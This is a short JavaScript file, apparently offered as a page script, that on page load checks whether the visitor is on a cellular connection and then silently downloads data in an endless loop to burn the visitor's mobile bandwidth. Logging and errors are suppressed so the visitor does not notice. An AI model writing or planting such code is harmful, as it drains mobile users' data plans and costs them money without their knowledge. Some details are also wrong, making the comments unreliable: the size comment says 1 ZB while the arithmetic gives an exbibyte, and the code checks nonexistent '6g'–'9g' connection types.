acwgb/acwgb.js

Acwgb is for continuesly taking bandwidh.

    const url = 'http://localhost:8000/low_size.php?size=1048576'; // 1 MB
    const targetSize = 1 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024; // 1 ZB in bytes
    let totalDownloaded = 0;

    function fetchData() {
        const startTime = performance.now();

        fetch(url)
            .then(response => {
                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                return response.blob();
            })
            .then(blob => {
                const endTime = performance.now();
                totalDownloaded += blob.size; // Increment total downloaded bytes
                
                const duration = (endTime - startTime) / 1000; // Duration in seconds
                const bandwidth = (blob.size / duration) / 1024; // Bandwidth in KB/s

                // Optionally log bandwidth for debugging (commented out)
                // console.log(`Bandwidth: ${bandwidth.toFixed(2)} KB/s`);

                // Check if the target size is reached
                if (totalDownloaded < targetSize) {
                    fetchData(); // Fetch more data
                } else {
                    // Optionally log completion (commented out)
                    // console.log('Download complete: 1 ZB reached');
                }
            })
            .catch(error => {
                // Optionally log errors (commented out)
                // console.error('Error fetching the data:', error);
            });
    }

    function isCellularConnection() {
        if ('connection' in navigator) {
            const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
            return connection && (
                connection.effectiveType === '2g' || 
                connection.effectiveType === '3g' || 
                connection.effectiveType === '4g' ||
                connection.effectiveType === '5g' || 
                connection.effectiveType === '6g' ||
                connection.effectiveType === '7g' ||
                connection.effectiveType === '8g' ||    
                connection.effectiveType === '9g'
            );
        }
        return false; // Fallback if Network Information API is not supported
    }

    // Start fetching data only after the page has fully loaded
    window.onload = function() {
        if (isCellularConnection()) {
            fetchData();
        }
        // If not connected to a cellular network, do nothing
    };